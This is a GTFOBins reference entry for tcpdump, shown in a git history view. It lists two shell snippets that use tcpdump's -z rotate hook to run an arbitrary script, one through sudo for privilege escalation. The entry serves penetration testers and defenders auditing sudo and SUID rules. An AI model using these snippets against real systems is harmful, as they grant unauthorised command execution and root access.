GTFOBins.github.io/_gtfobins/tcpdump.md

18 lines
427 B
Markdown
Raw Normal View History

2018-08-17 17:16:09 +02:00
---
functions:
execute-non-interactive:
2018-08-19 10:31:04 +02:00
- code: |
COMMAND='id > /tmp/output'
TF=$(mktemp -u)
echo "$COMMAND" > $TF
chmod +x $TF
tcpdump -ln -i lo -w /dev/null -W 1 -G 1 -z $TF
suid-enabled:
- code: |
COMMAND='id > /tmp/output'
TF=$(mktemp -u)
echo "$COMMAND" > $TF
chmod +x $TF
sudo tcpdump -ln -i lo -w /dev/null -W 1 -G 1 -z $TF
2018-08-17 17:16:09 +02:00
---